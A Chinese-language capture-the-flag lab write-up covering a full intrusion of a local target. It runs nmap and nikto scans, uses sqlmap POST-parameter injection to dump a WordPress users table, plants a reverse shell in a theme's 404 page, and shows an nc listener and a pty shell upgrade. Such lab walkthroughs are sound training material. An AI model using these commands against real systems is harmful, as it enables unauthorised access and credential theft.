【网络安全0x07】SQL注入之post参数注入

51CTO的网课,本篇利用nmap搜索开放端口,nikto挖掘敏感目录,使用burpsuite构建post请求的raw文件,用sqlmap进行post参数注入,获取用户名和口令,上传反弹shell,获得权限,拿到flag。

本篇使用工具burpsuite,sqlmap。

使用命令

sqlmap

1
2
3
4
5
# batch可以自动补全询问
sqlmap -r [post请求] --level [1~5] --risk [1~3] --dbs --dbms mysql --batch
sqlmap -r [post请求] --level [1~5] --risk [1~3] -D [‘数据库名’] --tables --batch
sqlmap -r [post请求] --level [1~5] --risk [1~3] -D [‘数据库名’] -T [‘表名’] --columns --batch
sqlmap -r [post请求] --level [1~5] --risk [1~3] -D [‘数据库名’] -T [‘表名’] -C [‘字段名1,字段名2,…’] --dump --batch

nc

1
nc -nlvp 监听端口

渗透记录

  1. nmap扫描靶机IP地址开放端口,两个web服务:
1
nmap -sV 192.168.1.117

  1. nikto挖掘808080端口web信息,找到一个登录页面和一个敏感目录/img/
1
2
nikto -host http://192.168.1.117/
nikto -host http://192.168.1.117:8080/

  1. 访问登录页面,尝试弱口令admin登录失败,查看源码是post请求:

  1. 访问/img/目录,没有敏感文件,但是有个wordpress.png,说明网站可能是wordpress搭建的:

  1. 尝试访问/wordpress/wp-login.php成功找到登录界面,这个页面用dirb也能扫出来,不过有点慢,尝试弱口令admin登录同样失败:

  1. 使用burpsuite,首先设置与浏览器的代理ip和端口一致:

  1. 浏览器模拟一次登录,在burpsuite查看raw文件,保存下来给sqlmap用:

  1. sqlmap使用raw文件扫描,获取到数据库列表:
1
sqlmap -r post.raw --level 5 --risk 3 --dbs --dbms mysql --batch

  1. 查看敏感数据库,前面几个都是空的,最后的wordpress8080有用户表:
1
sqlmap -r post.raw --level 5 --risk 3 -D wordpress8080 --tables --batch

  1. 查看users表的列:
1
sqlmap -r post.raw --level 5 --risk 3 -D wordpress8080 -T users --cloumns --batch

  1. 查看usernamepassword列的内容,得到用户密码:
1
sqlmap -r post.raw --level 5 --risk 3 -D wordpress8080 -T users -C username,password --dump --batch

  1. 制作web反弹shell,修改攻击机IP和端口:

  1. 替换掉主题的404页面,开启监听,访问页面获得权限,优化shell界面并提权,提权密码是前面sqlmap探测到的:
1
2
3
nc -nlvp 4444

python -c "import pty;pty.spawn('/bin/bash')"

参考资料

  1. 2020发布 CTF基础入门/CTF教程零基础 渗透测试/web安全/CTF夺旗【整套教程】